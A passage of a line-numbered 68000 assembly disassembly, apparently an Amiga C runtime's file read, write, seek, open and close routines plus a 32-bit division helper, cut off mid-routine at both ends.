  2856.     JSR    LAB_01FB(PC)        ;1A4A: 4EBA07B0
  2857.     MOVE.L    D5,D0            ;1A4E: 2005
  2858.     JSR    LAB_01F2(PC)        ;1A50: 4EBA0762
  2859.     MOVEA.L    D0,A3            ;1A54: 2640
  2860.     TST.L    D0            ;1A56: 4A80
  2861.     BNE.S    LAB_018E        ;1A58: 6606
  2862.     MOVEQ    #22,D0            ;1A5A: 7016
  2863.     BRA    LAB_0194        ;1A5C: 600000C8
  2864. LAB_018E:
  2865.     BTST    #1,7(A3)        ;1A60: 082B00010007
  2866.     BNE.S    LAB_018F        ;1A66: 660E
  2867.     MOVE.L    #$000000DF,600(A4)    ;1A68: 297C000000DF0258
  2868.     MOVEQ    #5,D0            ;1A70: 7005
  2869.     BRA    LAB_0194        ;1A72: 600000B2
  2870. LAB_018F:
  2871.     BTST    #5,7(A3)        ;1A76: 082B00050007
  2872.     BEQ.S    LAB_0190        ;1A7C: 670E
  2873.     PEA    (2).W            ;1A7E: 48780002
  2874.     MOVE.L    D5,D0            ;1A82: 2005
  2875.     MOVEQ    #0,D1            ;1A84: 7200
  2876.     JSR    LAB_01A4(PC)        ;1A86: 4EBA01B2
  2877.     ADDQ    #4,A7            ;1A8A: 584F
  2878. LAB_0190:
  2879.     BTST    #6,7(A3)        ;1A8C: 082B00060007
  2880.     BEQ.S    LAB_0191        ;1A92: 6710
  2881.     MOVE.L    D6,D1            ;1A94: 2206
  2882.     MOVEA.L    A5,A0            ;1A96: 204D
  2883.     MOVEQ    #10,D0            ;1A98: 700A
  2884.     JSR    LAB_0202(PC)        ;1A9A: 4EBA07BC
  2885.     MOVEA.L    D0,A2            ;1A9E: 2440
  2886.     TST.L    D0            ;1AA0: 4A80
  2887.     BNE.S    LAB_0192        ;1AA2: 661A
  2888. LAB_0191:
  2889.     MOVE.L    8(A3),D1        ;1AA4: 222B0008
  2890.     MOVE.L    A5,D2            ;1AA8: 240D
  2891.     MOVE.L    D6,D3            ;1AAA: 2606
  2892.     MOVEA.L    17356(A4),A6        ;1AAC: 2C6C43CC
  2893.     JSR    -48(A6)            ;1AB0: 4EAEFFD0
  2894.     MOVE.L    D0,D5            ;1AB4: 2A00
  2895.     ADDQ.L    #1,D0            ;1AB6: 5280
  2896.     BEQ.S    LAB_0193        ;1AB8: 675C
  2897.     MOVE.L    D5,D0            ;1ABA: 2005
  2898.     BRA.S    LAB_0195        ;1ABC: 606E
  2899. LAB_0192:
  2900.     MOVE.L    A2,D3            ;1ABE: 260A
  2901.     MOVE.L    A5,D2            ;1AC0: 240D
  2902.     SUB.L    D2,D3            ;1AC2: 9682
  2903.     MOVE.L    8(A3),D1        ;1AC4: 222B0008
  2904.     MOVEA.L    17356(A4),A6        ;1AC8: 2C6C43CC
  2905.     JSR    -48(A6)            ;1ACC: 4EAEFFD0
  2906.     ADDQ.L    #1,D0            ;1AD0: 5280
  2907.     BEQ.S    LAB_0193        ;1AD2: 6742
  2908.     SUB.L    D3,D6            ;1AD4: 9C83
  2909.     MOVEA.L    A2,A5            ;1AD6: 2A4A
  2910.     MOVE.L    8(A3),D1        ;1AD8: 222B0008
  2911.     LEA    LAB_0196(PC),A0        ;1ADC: 41FA0054
  2912.     MOVE.L    A0,D2            ;1AE0: 2408
  2913.     MOVEQ    #1,D3            ;1AE2: 7601
  2914.     JSR    -48(A6)            ;1AE4: 4EAEFFD0
  2915.     ADDQ.L    #1,D0            ;1AE8: 5280
  2916.     BEQ.S    LAB_0193        ;1AEA: 672A
  2917.     LEA    1(A5),A0        ;1AEC: 41ED0001
  2918.     MOVE.L    D6,D1            ;1AF0: 2206
  2919.     MOVEQ    #10,D0            ;1AF2: 700A
  2920.     JSR    LAB_0202(PC)        ;1AF4: 4EBA0762
  2921.     MOVEA.L    D0,A2            ;1AF8: 2440
  2922.     MOVE.L    A2,D0            ;1AFA: 200A
  2923.     BNE.S    LAB_0192        ;1AFC: 66C0
  2924.     MOVE.L    8(A3),D1        ;1AFE: 222B0008
  2925.     MOVE.L    A5,D2            ;1B02: 240D
  2926.     MOVE.L    D6,D3            ;1B04: 2606
  2927.     MOVEA.L    17356(A4),A6        ;1B06: 2C6C43CC
  2928.     JSR    -48(A6)            ;1B0A: 4EAEFFD0
  2929.     ADDQ.L    #1,D0            ;1B0E: 5280
  2930.     BEQ.S    LAB_0193        ;1B10: 6704
  2931.     MOVE.L    D3,D0            ;1B12: 2003
  2932.     BRA.S    LAB_0195        ;1B14: 6016
  2933. LAB_0193:
  2934.     MOVEA.L    17356(A4),A6        ;1B16: 2C6C43CC
  2935.     JSR    -132(A6)        ;1B1A: 4EAEFF7C
  2936.     MOVE.L    D0,600(A4)        ;1B1E: 29400258
  2937.     JSR    LAB_0315(PC)        ;1B22: 4EBA1AE4
  2938. LAB_0194:
  2939.     MOVE.L    D0,17332(A4)        ;1B26: 294043B4
  2940.     MOVEQ    #-1,D0            ;1B2A: 70FF
  2941. LAB_0195:
  2942.     MOVEM.L    (A7)+,D2-D3/D5-D6/A2-A3/A5-A6 ;1B2C: 4CDF6C6C
  2943.     RTS                ;1B30: 4E75
  2944. LAB_0196:
  2945.     BTST    D6,D0            ;1B32: 0D00
  2946.     MOVE.L    4(A7),D0        ;1B34: 202F0004
  2947.     MOVEA.L    8(A7),A0        ;1B38: 206F0008
  2948.     MOVE.L    12(A7),D1        ;1B3C: 222F000C
  2949. LAB_0197:
  2950.     SUBQ    #4,A7            ;1B40: 594F
  2951.     MOVEM.L    D2-D3/D5-D7/A2-A3/A5-A6,-(A7) ;1B42: 48E73736
  2952.     MOVE.L    D1,D6            ;1B46: 2C01
  2953.     MOVE.L    D0,D7            ;1B48: 2E00
  2954.     MOVE.L    A0,36(A7)        ;1B4A: 2F480024
  2955.     JSR    LAB_01FB(PC)        ;1B4E: 4EBA06AC
  2956.     MOVE.L    D7,D0            ;1B52: 2007
  2957.     JSR    LAB_01F2(PC)        ;1B54: 4EBA065E
  2958.     MOVEA.L    D0,A5            ;1B58: 2A40
  2959.     TST.L    D0            ;1B5A: 4A80
  2960.     BNE.S    LAB_0198        ;1B5C: 660C
  2961.     MOVEQ    #22,D0            ;1B5E: 7016
  2962.     MOVE.L    D0,17332(A4)        ;1B60: 294043B4
  2963.     MOVEQ    #-1,D0            ;1B64: 70FF
  2964.     BRA    LAB_01A3        ;1B66: 600000BC
  2965. LAB_0198:
  2966.     BTST    #0,7(A5)        ;1B6A: 082D00000007
  2967.     BNE.S    LAB_0199        ;1B70: 6614
  2968.     MOVE.L    #$000000E0,600(A4)    ;1B72: 297C000000E00258
  2969.     MOVEQ    #5,D0            ;1B7A: 7005
  2970.     MOVE.L    D0,17332(A4)        ;1B7C: 294043B4
  2971.     MOVEQ    #-1,D0            ;1B80: 70FF
  2972.     BRA    LAB_01A3        ;1B82: 600000A0
  2973. LAB_0199:
  2974.     CLR.L    600(A4)            ;1B86: 42AC0258
  2975.     MOVEA.L    36(A7),A3        ;1B8A: 266F0024
  2976.     MOVE.L    8(A5),D1        ;1B8E: 222D0008
  2977.     MOVE.L    A3,D2            ;1B92: 240B
  2978.     MOVE.L    D6,D3            ;1B94: 2606
  2979.     MOVEA.L    17356(A4),A6        ;1B96: 2C6C43CC
  2980.     JSR    -42(A6)            ;1B9A: 4EAEFFD6
  2981.     MOVE.L    D0,D5            ;1B9E: 2A00
  2982.     ADDQ.L    #1,D0            ;1BA0: 5280
  2983.     BNE.S    LAB_019A        ;1BA2: 6614
  2984.     JSR    -132(A6)        ;1BA4: 4EAEFF7C
  2985.     MOVE.L    D0,600(A4)        ;1BA8: 29400258
  2986.     JSR    LAB_0315(PC)        ;1BAC: 4EBA1A5A
  2987.     MOVE.L    D0,17332(A4)        ;1BB0: 294043B4
  2988.     MOVEQ    #-1,D0            ;1BB4: 70FF
  2989.     BRA.S    LAB_01A3        ;1BB6: 606C
  2990. LAB_019A:
  2991.     TST.L    D5            ;1BB8: 4A85
  2992.     BEQ.S    LAB_019B        ;1BBA: 6708
  2993.     BTST    #6,7(A5)        ;1BBC: 082D00060007
  2994.     BNE.S    LAB_019C        ;1BC2: 6604
  2995. LAB_019B:
  2996.     MOVE.L    D5,D0            ;1BC4: 2005
  2997.     BRA.S    LAB_01A3        ;1BC6: 605C
  2998. LAB_019C:
  2999.     MOVEA.L    A3,A2            ;1BC8: 244B
  3000.     ADDA.L    D5,A2            ;1BCA: D5C5
  3001.     MOVEQ    #13,D0            ;1BCC: 700D
  3002.     CMP.B    -1(A2),D0        ;1BCE: B02AFFFF
  3003.     BNE.S    LAB_019D        ;1BD2: 660A
  3004.     MOVE.L    8(A5),D1        ;1BD4: 222D0008
  3005.     MOVEQ    #1,D3            ;1BD8: 7601
  3006.     JSR    -42(A6)            ;1BDA: 4EAEFFD6
  3007. LAB_019D:
  3008.     MOVEA.L    D2,A0            ;1BDE: 2042
  3009.     MOVE.L    D5,D1            ;1BE0: 2205
  3010.     MOVEQ    #13,D0            ;1BE2: 700D
  3011.     JSR    LAB_0202(PC)        ;1BE4: 4EBA0672
  3012.     MOVEA.L    D0,A5            ;1BE8: 2A40
  3013.     TST.L    D0            ;1BEA: 4A80
  3014.     BEQ.S    LAB_01A1        ;1BEC: 671E
  3015.     LEA    1(A5),A3        ;1BEE: 47ED0001
  3016.     BRA.S    LAB_01A0        ;1BF2: 600C
  3017. LAB_019E:
  3018.     MOVE.B    (A3),D0            ;1BF4: 1013
  3019.     MOVEQ    #13,D1            ;1BF6: 720D
  3020.     CMP.B    D1,D0            ;1BF8: B001
  3021.     BEQ.S    LAB_019F        ;1BFA: 6702
  3022.     MOVE.B    D0,(A5)+        ;1BFC: 1AC0
  3023. LAB_019F:
  3024.     ADDQ.L    #1,A3            ;1BFE: 528B
  3025. LAB_01A0:
  3026.     CMPA.L    A2,A3            ;1C00: B7CA
  3027.     BCS.S    LAB_019E        ;1C02: 65F0
  3028.     MOVEA.L    36(A7),A3        ;1C04: 266F0024
  3029.     MOVE.L    A5,D5            ;1C08: 2A0D
  3030.     SUB.L    A3,D5            ;1C0A: 9A8B
  3031. LAB_01A1:
  3032.     MOVE.L    D5,D1            ;1C0C: 2205
  3033.     MOVEA.L    A3,A0            ;1C0E: 204B
  3034.     MOVEQ    #26,D0            ;1C10: 701A
  3035.     JSR    LAB_0202(PC)        ;1C12: 4EBA0644
  3036.     MOVEA.L    D0,A0            ;1C16: 2040
  3037.     TST.L    D0            ;1C18: 4A80
  3038.     BNE.S    LAB_01A2        ;1C1A: 6604
  3039.     MOVE.L    D5,D0            ;1C1C: 2005
  3040.     BRA.S    LAB_01A3        ;1C1E: 6004
  3041. LAB_01A2:
  3042.     MOVE.L    A0,D0            ;1C20: 2008
  3043.     SUB.L    A3,D0            ;1C22: 908B
  3044. LAB_01A3:
  3045.     MOVEM.L    (A7)+,D2-D3/D5-D7/A2-A3/A5-A6 ;1C24: 4CDF6CEC
  3046.     ADDQ    #4,A7            ;1C28: 584F
  3047.     RTS                ;1C2A: 4E75
  3048.     MOVE.L    4(A7),D0        ;1C2C: 202F0004
  3049.     MOVE.L    8(A7),D1        ;1C30: 222F0008
  3050.     MOVE.L    12(A7),4(A7)        ;1C34: 2F6F000C0004
  3051. LAB_01A4:
  3052.     MOVEM.L    D2-D3/D5-D7/A5-A6,-(A7)    ;1C3A: 48E73706
  3053.     MOVE.L    32(A7),D5        ;1C3E: 2A2F0020
  3054.     MOVE.L    D1,D6            ;1C42: 2C01
  3055.     MOVE.L    D0,D7            ;1C44: 2E00
  3056.     JSR    LAB_01FB(PC)        ;1C46: 4EBA05B4
  3057.     MOVE.L    D7,D0            ;1C4A: 2007
  3058.     JSR    LAB_01F2(PC)        ;1C4C: 4EBA0566
  3059.     MOVEA.L    D0,A5            ;1C50: 2A40
  3060.     TST.L    D0            ;1C52: 4A80
  3061.     BNE.S    LAB_01A5        ;1C54: 660A
  3062.     MOVEQ    #22,D0            ;1C56: 7016
  3063.     MOVE.L    D0,17332(A4)        ;1C58: 294043B4
  3064.     MOVEQ    #-1,D0            ;1C5C: 70FF
  3065.     BRA.S    LAB_01AA        ;1C5E: 6058
  3066. LAB_01A5:
  3067.     CLR.L    600(A4)            ;1C60: 42AC0258
  3068.     MOVE.L    D5,D3            ;1C64: 2605
  3069.     SUBQ.L    #1,D3            ;1C66: 5383
  3070.     MOVE.L    8(A5),D1        ;1C68: 222D0008
  3071.     MOVE.L    D6,D2            ;1C6C: 2406
  3072.     MOVEA.L    17356(A4),A6        ;1C6E: 2C6C43CC
  3073.     JSR    -66(A6)            ;1C72: 4EAEFFBE
  3074.     MOVE.L    D0,D1            ;1C76: 2200
  3075.     ADDQ.L    #1,D0            ;1C78: 5280
  3076.     BNE.S    LAB_01A6        ;1C7A: 6612
  3077.     JSR    -132(A6)        ;1C7C: 4EAEFF7C
  3078.     MOVE.L    D0,600(A4)        ;1C80: 29400258
  3079.     MOVEQ    #5,D0            ;1C84: 7005
  3080.     MOVE.L    D0,17332(A4)        ;1C86: 294043B4
  3081.     MOVEQ    #-1,D0            ;1C8A: 70FF
  3082.     BRA.S    LAB_01AA        ;1C8C: 602A
  3083. LAB_01A6:
  3084.     MOVE.L    D5,D0            ;1C8E: 2005
  3085.     TST.L    D0            ;1C90: 4A80
  3086.     BEQ.S    LAB_01A7        ;1C92: 670A
  3087.     SUBQ.L    #1,D0            ;1C94: 5380
  3088.     BEQ.S    LAB_01A8        ;1C96: 670A
  3089.     SUBQ.L    #1,D0            ;1C98: 5380
  3090.     BEQ.S    LAB_01A9        ;1C9A: 670C
  3091.     BRA.S    LAB_01AA        ;1C9C: 601A
  3092. LAB_01A7:
  3093.     MOVE.L    D6,D0            ;1C9E: 2006
  3094.     BRA.S    LAB_01AA        ;1CA0: 6016
  3095. LAB_01A8:
  3096.     MOVE.L    D1,D0            ;1CA2: 2001
  3097.     ADD.L    D6,D0            ;1CA4: D086
  3098.     BRA.S    LAB_01AA        ;1CA6: 6010
  3099. LAB_01A9:
  3100.     MOVE.L    8(A5),D1        ;1CA8: 222D0008
  3101.     MOVEA.L    17356(A4),A6        ;1CAC: 2C6C43CC
  3102.     MOVEQ    #0,D2            ;1CB0: 7400
  3103.     MOVE.L    D2,D3            ;1CB2: 2602
  3104.     JSR    -66(A6)            ;1CB4: 4EAEFFBE
  3105. LAB_01AA:
  3106.     MOVEM.L    (A7)+,D2-D3/D5-D7/A5-A6    ;1CB8: 4CDF60EC
  3107.     RTS                ;1CBC: 4E75
  3108.     DC.W    $0000            ;1CBE
  3109.     MOVE.L    4(A7),D0        ;1CC0: 202F0004
  3110. LAB_01AB:
  3111.     MOVEM.L    D7/A5-A6,-(A7)        ;1CC4: 48E70106
  3112.     MOVE.L    D0,D7            ;1CC8: 2E00
  3113.     JSR    LAB_01FB(PC)        ;1CCA: 4EBA0530
  3114.     MOVE.L    D7,D0            ;1CCE: 2007
  3115.     JSR    LAB_01F2(PC)        ;1CD0: 4EBA04E2
  3116.     MOVEA.L    D0,A5            ;1CD4: 2A40
  3117.     TST.L    D0            ;1CD6: 4A80
  3118.     BNE.S    LAB_01AC        ;1CD8: 6604
  3119.     MOVEQ    #-1,D0            ;1CDA: 70FF
  3120.     BRA.S    LAB_01B1        ;1CDC: 604C
  3121. LAB_01AC:
  3122.     MOVEQ    #20,D0            ;1CDE: 7014
  3123.     AND.L    4(A5),D0        ;1CE0: C0AD0004
  3124.     MOVEQ    #16,D1            ;1CE4: 7210
  3125.     CMP.L    D1,D0            ;1CE6: B081
  3126.     BNE.S    LAB_01AD        ;1CE8: 6608
  3127.     MOVEQ    #0,D0            ;1CEA: 7000
  3128.     MOVE.L    D0,4(A5)        ;1CEC: 2B400004
  3129.     BRA.S    LAB_01B1        ;1CF0: 6038
  3130. LAB_01AD:
  3131.     TST.L    4(A5)            ;1CF2: 4AAD0004
  3132.     BNE.S    LAB_01AE        ;1CF6: 6604
  3133.     MOVEQ    #-1,D0            ;1CF8: 70FF
  3134.     BRA.S    LAB_01B1        ;1CFA: 602E
  3135. LAB_01AE:
  3136.     MOVE.L    8(A5),D1        ;1CFC: 222D0008
  3137.     MOVEA.L    17356(A4),A6        ;1D00: 2C6C43CC
  3138.     JSR    -36(A6)            ;1D04: 4EAEFFDC
  3139.     BTST    #7,7(A5)        ;1D08: 082D00070007
  3140.     BEQ.S    LAB_01AF        ;1D0E: 6708
  3141.     MOVEA.L    12(A5),A0        ;1D10: 206D000C
  3142.     JSR    LAB_0310(PC)        ;1D14: 4EBA18A2
  3143. LAB_01AF:
  3144.     MOVE.L    12(A5),D0        ;1D18: 202D000C
  3145.     BEQ.S    LAB_01B0        ;1D1C: 6706
  3146.     MOVEA.L    D0,A0            ;1D1E: 2040
  3147.     JSR    LAB_0212(PC)        ;1D20: 4EBA05BA
  3148. LAB_01B0:
  3149.     CLR.L    4(A5)            ;1D24: 42AD0004
  3150.     MOVEQ    #0,D0            ;1D28: 7000
  3151. LAB_01B1:
  3152.     MOVEM.L    (A7)+,D7/A5-A6        ;1D2A: 4CDF6080
  3153.     RTS                ;1D2E: 4E75
  3154. LAB_01B2:
  3155.     SUBQ    #4,A7            ;1D30: 594F
  3156.     MOVEM.L    D2/D4-D7/A2-A3/A5-A6,-(A7) ;1D32: 48E72F36
  3157.     MOVEA.L    44(A7),A5        ;1D36: 2A6F002C
  3158.     MOVEQ    #0,D7            ;1D3A: 7E00
  3159.     MOVE.B    #$01,39(A7)        ;1D3C: 1F7C00010027
  3160.     LEA    LAB_01AB(PC),A0        ;1D42: 41FAFF80
  3161.     MOVE.L    A0,17364(A4)        ;1D46: 294843D4
  3162.     JSR    LAB_01FB(PC)        ;1D4A: 4EBA04B0
  3163.     MOVEA.L    424(A4),A3        ;1D4E: 266C01A8
  3164.     MOVEA.L    A3,A2            ;1D52: 244B
  3165.     MOVEQ    #0,D6            ;1D54: 7C00
  3166.     BRA.S    LAB_01B4        ;1D56: 6006
  3167. LAB_01B3:
  3168.     MOVEA.L    A3,A2            ;1D58: 244B
  3169.     MOVEA.L    (A2),A3            ;1D5A: 2652
  3170.     ADDQ.L    #1,D6            ;1D5C: 5286
  3171. LAB_01B4:
  3172.     MOVE.L    A3,D0            ;1D5E: 200B
  3173.     BEQ.S    LAB_01B5        ;1D60: 6706
  3174.     TST.L    4(A3)            ;1D62: 4AAB0004
  3175.     BNE.S    LAB_01B3        ;1D66: 66F0
  3176. LAB_01B5:
  3177.     MOVE.L    A3,D0            ;1D68: 200B
  3178.     BNE.S    LAB_01B9        ;1D6A: 662E
  3179.     MOVEQ    #16,D0            ;1D6C: 7010
  3180.     JSR    LAB_0223(PC)        ;1D6E: 4EBA06D8
  3181.     MOVEA.L    D0,A3            ;1D72: 2640
  3182.     TST.L    D0            ;1D74: 4A80
  3183.     BNE.S    LAB_01B6        ;1D76: 6606
  3184.     MOVEQ    #12,D0            ;1D78: 700C
  3185.     BRA    LAB_01D0        ;1D7A: 60000188
  3186. LAB_01B6:
  3187.     CLR.L    (A3)            ;1D7E: 4293
  3188.     CLR.L    4(A3)            ;1D80: 42AB0004
  3189.     MOVE.L    A2,D0            ;1D84: 200A
  3190.     BNE.S    LAB_01B7        ;1D86: 6606
  3191.     MOVE.L    A3,424(A4)        ;1D88: 294B01A8
  3192.     BRA.S    LAB_01B8        ;1D8C: 6002
  3193. LAB_01B7:
  3194.     MOVE.L    A3,(A2)            ;1D8E: 248B
  3195. LAB_01B8:
  3196.     MOVE.L    420(A4),D5        ;1D90: 2A2C01A4
  3197.     ADDQ.L    #1,420(A4)        ;1D94: 52AC01A4
  3198.     BRA.S    LAB_01BA        ;1D98: 6002
  3199. LAB_01B9:
  3200.     MOVE.L    D6,D5            ;1D9A: 2A06
  3201. LAB_01BA:
  3202.     MOVEA.L    A5,A0            ;1D9C: 204D
  3203. LAB_01BB:
  3204.     TST.B    (A0)+            ;1D9E: 4A18
  3205.     BNE.S    LAB_01BB        ;1DA0: 66FC
  3206.     SUBQ.L    #1,A0            ;1DA2: 5388
  3207.     SUBA.L    A5,A0            ;1DA4: 91CD
  3208.     MOVE.L    A0,D0            ;1DA6: 2008
  3209.     ADDQ.L    #1,D0            ;1DA8: 5280
  3210.     JSR    LAB_0223(PC)        ;1DAA: 4EBA069C
  3211.     MOVE.L    D0,12(A3)        ;1DAE: 2740000C
  3212.     BNE.S    LAB_01BC        ;1DB2: 6610
  3213.     MOVEQ    #12,D1            ;1DB4: 720C
  3214.     MOVE.L    D1,17332(A4)        ;1DB6: 294143B4
  3215.     MOVEQ    #103,D0            ;1DBA: 7067
  3216.     MOVE.L    D0,600(A4)        ;1DBC: 29400258
  3217.     BRA    LAB_01D1        ;1DC0: 60000146
  3218. LAB_01BC:
  3219.     MOVEA.L    A5,A0            ;1DC4: 204D
  3220.     MOVEA.L    12(A3),A1        ;1DC6: 226B000C
  3221. LAB_01BD:
  3222.     MOVE.B    (A0)+,(A1)+        ;1DCA: 12D8
  3223.     BNE.S    LAB_01BD        ;1DCC: 66FC
  3224.     MOVEQ    #3,D0            ;1DCE: 7003
  3225.     AND.L    48(A7),D0        ;1DD0: C0AF0030
  3226.     TST.L    D0            ;1DD4: 4A80
  3227.     BEQ.S    LAB_01BE        ;1DD6: 670E
  3228.     SUBQ.L    #1,D0            ;1DD8: 5380
  3229.     BEQ.S    LAB_01C1        ;1DDA: 6720
  3230.     SUBQ.L    #1,D0            ;1DDC: 5380
  3231.     BEQ.S    LAB_01C2        ;1DDE: 6720
  3232.     SUBQ.L    #1,D0            ;1DE0: 5380
  3233.     BEQ.S    LAB_01BF        ;1DE2: 670E
  3234.     BRA.S    LAB_01C3        ;1DE4: 601C
  3235. LAB_01BE:
  3236.     MOVE.L    #$00000708,D0        ;1DE6: 203C00000708
  3237.     AND.L    48(A7),D0        ;1DEC: C0AF0030
  3238.     BEQ.S    LAB_01C0        ;1DF0: 6706
  3239. LAB_01BF:
  3240.     MOVEQ    #22,D0            ;1DF2: 7016
  3241.     BRA    LAB_01D0        ;1DF4: 6000010E
  3242. LAB_01C0:
  3243.     MOVEQ    #1,D7            ;1DF8: 7E01
  3244.     BRA.S    LAB_01C3        ;1DFA: 6006
  3245. LAB_01C1:
  3246.     MOVEQ    #2,D7            ;1DFC: 7E02
  3247.     BRA.S    LAB_01C3        ;1DFE: 6002
  3248. LAB_01C2:
  3249.     MOVEQ    #3,D7            ;1E00: 7E03
  3250. LAB_01C3:
  3251.     BTST    #3,51(A7)        ;1E02: 082F00030033
  3252.     BEQ.S    LAB_01C4        ;1E08: 6704
  3253.     BSET    #5,D7            ;1E0A: 08C70005
  3254. LAB_01C4:
  3255.     BTST    #6,50(A7)        ;1E0E: 082F000E0032
  3256.     BEQ.S    LAB_01C5        ;1E14: 6704
  3257.     BSET    #6,D7            ;1E16: 08C70006
  3258. LAB_01C5:
  3259.     BTST    #5,50(A7)        ;1E1A: 082F000D0032
  3260.     BEQ.S    LAB_01C6        ;1E20: 6704
  3261.     BSET    #7,D7            ;1E22: 08C70007
  3262. LAB_01C6:
  3263.     BTST    #0,50(A7)        ;1E26: 082F00080032
  3264.     BEQ.S    LAB_01CA        ;1E2C: 674A
  3265.     MOVE.L    A5,D1            ;1E2E: 220D
  3266.     MOVEA.L    17356(A4),A6        ;1E30: 2C6C43CC
  3267.     MOVEQ    #-2,D2            ;1E34: 74FE
  3268.     JSR    -84(A6)            ;1E36: 4EAEFFAC
  3269.     MOVE.L    D0,D6            ;1E3A: 2C00
  3270.     BEQ.S    LAB_01CA        ;1E3C: 673A
  3271.     BTST    #2,50(A7)        ;1E3E: 082F000A0032
  3272.     BEQ.S    LAB_01C7        ;1E44: 6718
  3273.     MOVE.L    D6,D1            ;1E46: 2206
  3274.     JSR    -90(A6)            ;1E48: 4EAEFFA6
  3275.     MOVEQ    #17,D0            ;1E4C: 7011
  3276.     MOVE.L    D0,17332(A4)        ;1E4E: 294043B4
  3277.     MOVEA.L    12(A3),A0        ;1E52: 206B000C
  3278.     JSR    LAB_0212(PC)        ;1E56: 4EBA0484
  3279.     BRA    LAB_01D1        ;1E5A: 600000AC
  3280. LAB_01C7:
  3281.     BTST    #1,50(A7)        ;1E5E: 082F00090032
  3282.     BEQ.S    LAB_01C8        ;1E64: 6706
  3283.     CLR.B    39(A7)            ;1E66: 422F0027
  3284.     BRA.S    LAB_01C9        ;1E6A: 6006
  3285. LAB_01C8:
  3286.     BCLR    #0,50(A7)        ;1E6C: 08AF00080032
  3287. LAB_01C9:
  3288.     MOVE.L    D6,D1            ;1E72: 2206
  3289.     JSR    -90(A6)            ;1E74: 4EAEFFA6
  3290. LAB_01CA:
  3291.     BTST    #0,50(A7)        ;1E78: 082F00080032
  3292.     BEQ.S    LAB_01CB        ;1E7E: 672E
  3293.     MOVE.L    A5,D1            ;1E80: 220D
  3294.     MOVEA.L    17356(A4),A6        ;1E82: 2C6C43CC
  3295.     MOVE.L    #$000003EE,D2        ;1E86: 243C000003EE
  3296.     JSR    -30(A6)            ;1E8C: 4EAEFFE2
  3297.     MOVE.L    D0,D4            ;1E90: 2800
  3298.     BEQ.S    LAB_01CE        ;1E92: 6750
  3299.     MOVE.L    432(A4),D6        ;1E94: 2C2C01B0
  3300.     NOT.L    D6            ;1E98: 4686
  3301.     MOVEQ    #-16,D1            ;1E9A: 72F0
  3302.     EOR.L    D1,D6            ;1E9C: B386
  3303.     TST.B    39(A7)            ;1E9E: 4A2F0027
  3304.     BEQ.S    LAB_01CD        ;1EA2: 6734
  3305.     MOVE.L    A5,D1            ;1EA4: 220D
  3306.     MOVE.L    D6,D2            ;1EA6: 2406
  3307.     JSR    -186(A6)        ;1EA8: 4EAEFF46
  3308.     BRA.S    LAB_01CD        ;1EAC: 602A
  3309. LAB_01CB:
  3310.     MOVE.L    #$000003ED,D6        ;1EAE: 2C3C000003ED
  3311.     BTST    #1,D7            ;1EB4: 08070001
  3312.     BEQ.S    LAB_01CC        ;1EB8: 670E
  3313.     BTST    #4,50(A7)        ;1EBA: 082F000C0032
  3314.     BEQ.S    LAB_01CC        ;1EC0: 6706
  3315.     MOVE.L    #$000003EC,D6        ;1EC2: 2C3C000003EC
  3316. LAB_01CC:
  3317.     MOVE.L    A5,D1            ;1EC8: 220D
  3318.     MOVE.L    D6,D2            ;1ECA: 2406
  3319.     MOVEA.L    17356(A4),A6        ;1ECC: 2C6C43CC
  3320.     JSR    -30(A6)            ;1ED0: 4EAEFFE2
  3321.     MOVE.L    D0,D4            ;1ED4: 2800
  3322.     BEQ.S    LAB_01CE        ;1ED6: 670C
  3323. LAB_01CD:
  3324.     MOVE.L    D7,4(A3)        ;1ED8: 27470004
  3325.     MOVE.L    D4,8(A3)        ;1EDC: 27440008
  3326.     MOVE.L    D5,D0            ;1EE0: 2005
  3327.     BRA.S    LAB_01D2        ;1EE2: 6026
  3328. LAB_01CE:
  3329.     MOVEA.L    17356(A4),A6        ;1EE4: 2C6C43CC
  3330.     JSR    -132(A6)        ;1EE8: 4EAEFF7C
  3331.     MOVE.L    D0,600(A4)        ;1EEC: 29400258
  3332.     MOVE.L    12(A3),D0        ;1EF0: 202B000C
  3333.     BEQ.S    LAB_01CF        ;1EF4: 6706
  3334.     MOVEA.L    D0,A0            ;1EF6: 2040
  3335.     JSR    LAB_0212(PC)        ;1EF8: 4EBA03E2
  3336. LAB_01CF:
  3337.     MOVE.L    600(A4),D0        ;1EFC: 202C0258
  3338.     JSR    LAB_0315(PC)        ;1F00: 4EBA1706
  3339. LAB_01D0:
  3340.     MOVE.L    D0,17332(A4)        ;1F04: 294043B4
  3341. LAB_01D1:
  3342.     MOVEQ    #-1,D0            ;1F08: 70FF
  3343. LAB_01D2:
  3344.     MOVEM.L    (A7)+,D2/D4-D7/A2-A3/A5-A6 ;1F0A: 4CDF6CF4
  3345.     ADDQ    #4,A7            ;1F0E: 584F
  3346.     RTS                ;1F10: 4E75
  3347.     DC.W    $0000            ;1F12
  3348.     TST.L    D0            ;1F14: 4A80
  3349.     BPL    LAB_01D4        ;1F16: 6A00001E
  3350.     NEG.L    D0            ;1F1A: 4480
  3351.     TST.L    D1            ;1F1C: 4A81
  3352.     BPL    LAB_01D3        ;1F1E: 6A00000C
  3353.     NEG.L    D1            ;1F22: 4481
  3354.     BSR    LAB_01D5        ;1F24: 61000020
  3355.     NEG.L    D1            ;1F28: 4481
  3356.     RTS                ;1F2A: 4E75
  3357. LAB_01D3:
  3358.     BSR    LAB_01D5        ;1F2C: 61000018
  3359.     NEG.L    D0            ;1F30: 4480
  3360.     NEG.L    D1            ;1F32: 4481
  3361.     RTS                ;1F34: 4E75
  3362. LAB_01D4:
  3363.     TST.L    D1            ;1F36: 4A81
  3364.     BPL    LAB_01D5        ;1F38: 6A00000C
  3365.     NEG.L    D1            ;1F3C: 4481
  3366.     BSR    LAB_01D5        ;1F3E: 61000006
  3367.     NEG.L    D0            ;1F42: 4480
  3368.     RTS                ;1F44: 4E75
  3369. LAB_01D5:
  3370.     MOVE.L    D2,-(A7)        ;1F46: 2F02
  3371.     SWAP    D1            ;1F48: 4841
  3372.     MOVE    D1,D2            ;1F4A: 3401
  3373.     BNE    LAB_01D7        ;1F4C: 66000022
  3374.     SWAP    D0            ;1F50: 4840
  3375.     SWAP    D1            ;1F52: 4841
  3376.     SWAP    D2            ;1F54: 4842
  3377.     MOVE    D0,D2            ;1F56: 3400
  3378.     BEQ    LAB_01D6        ;1F58: 67000006
  3379.     DIVU    D1,D2            ;1F5C: 84C1
  3380.     MOVE    D2,D0            ;1F5E: 3002
  3381. LAB_01D6:
  3382.     SWAP    D0            ;1F60: 4840
  3383.     MOVE    D0,D2            ;1F62: 3400
  3384.     DIVU    D1,D2            ;1F64: 84C1
  3385.     MOVE    D2,D0            ;1F66: 3002
  3386.     SWAP    D2            ;1F68: 4842
